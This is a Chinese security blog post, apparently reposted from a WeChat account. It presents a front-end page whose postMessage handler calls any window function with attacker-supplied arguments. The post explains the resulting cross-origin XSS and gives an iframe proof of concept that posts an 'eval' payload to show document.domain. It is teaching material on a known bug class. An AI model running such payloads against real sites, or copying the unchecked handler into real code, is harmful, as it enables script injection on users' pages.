纯前端页面也存在安全问题?

admin 2023年9月21日17:25:37评论15 views字数 1586阅读5分17秒阅读模式

好久没有写一些安全内容的文章了,这里首先给大家出一道题,纯前端页面,代码如下:

<!DOCTYPE html><html><head><meta charset="utf-8"><title>测试</title></head><script>window.onload = function() {    window.addEventListener('message', function (e) {         var dt=e.data;        var cmdp = dt.split("@@@")[0];        var args = dt.split("@@@")[1].split(",");        var cmd=window[cmdp];        cmd.apply(null,args);    });}</script></body></html>

这个里面有啥问题?大家仔细看看,给出10秒时间,倒计时开始:

10

9

8

7

6

5

4

3

2

1

答案:PostMessage跨域漏洞

解析:

首先页面启动的时候

window.addEventListener('message'function (e{})

窗口监听了消息,并且把消息传递到函数中进行处理,下面看处理函数:

var dt=e.data;var cmdp = dt.split("@@@")[0];var args = dt.split("@@@")[1].split(",");var cmd=window[cmdp];cmd.apply(null,args);

消息的数据信息用“@@@”进行了分割,第一部分传入到window[]中,第二部分传入到apply中。

先看下window[]是何意思,最简便的方法就是在chrome的console中输入window看看:

纯前端页面也存在安全问题?

window就是当前窗口,里面包含了当前窗口的所有元素。而window['xxxx']如下图,可以看到是调用当前窗口中的所有函数。

纯前端页面也存在安全问题?

这样就比较明白了,用@区分的第一部分是js函数,第二部分呢?

纯前端页面也存在安全问题?

可以看到加上apply就是调用当前函数的方法,我们采用alert,然后测试下 

纯前端页面也存在安全问题?

可以看到执行了alert方法,大家关注下apply中的参数值形式,是列表形式的。正好和html中的形式一致,那么现在可以看到这个肯定存在xss问题了。

我们搭建个测试环境看看咋样才能真实利用起来?

纯前端页面也存在安全问题?

这个也就只能弹出个alert,要想让别人利用起来,那么就必须远程加载js,并且可以跨域访问,利用postmessage方法写个发送消息页面如下:

纯前端页面也存在安全问题?

利用代码如下:

<script>    function xss(){            document.getElementById("frame").contentWindow.postMessage("alert@@@document.domain","*");    }</script>    <iframe id="frame" src="http://test.com:8000/test.html" onload=xss()></iframe>

但是看到上面打出的数据并没有把document.domain输出出来,仅仅是打印的字符,这样其实没办法让其他人产生影响,仅仅是个弹框有啥用?

这个如何解决,继续思考10秒

10 9 8 7 6 5 4 3 2 1 

先贴出利用方法:

<script>    function xss(){            document.getElementById("frame").contentWindow.postMessage("eval@@@alert(document.domain)","*");    }</script>    <iframe id="frame" src="http://test.com:8000/test.html" onload=xss()></iframe>

成功利用了

纯前端页面也存在安全问题?

具体如何加载js大家自己考虑吧,alert函数执行了!

原文始发于微信公众号(YY的黑板报):纯前端页面也存在安全问题?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月21日17:25:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   纯前端页面也存在安全问题?https://cn-sec.com/archives/2055320.html

发表评论

匿名网友 填写信息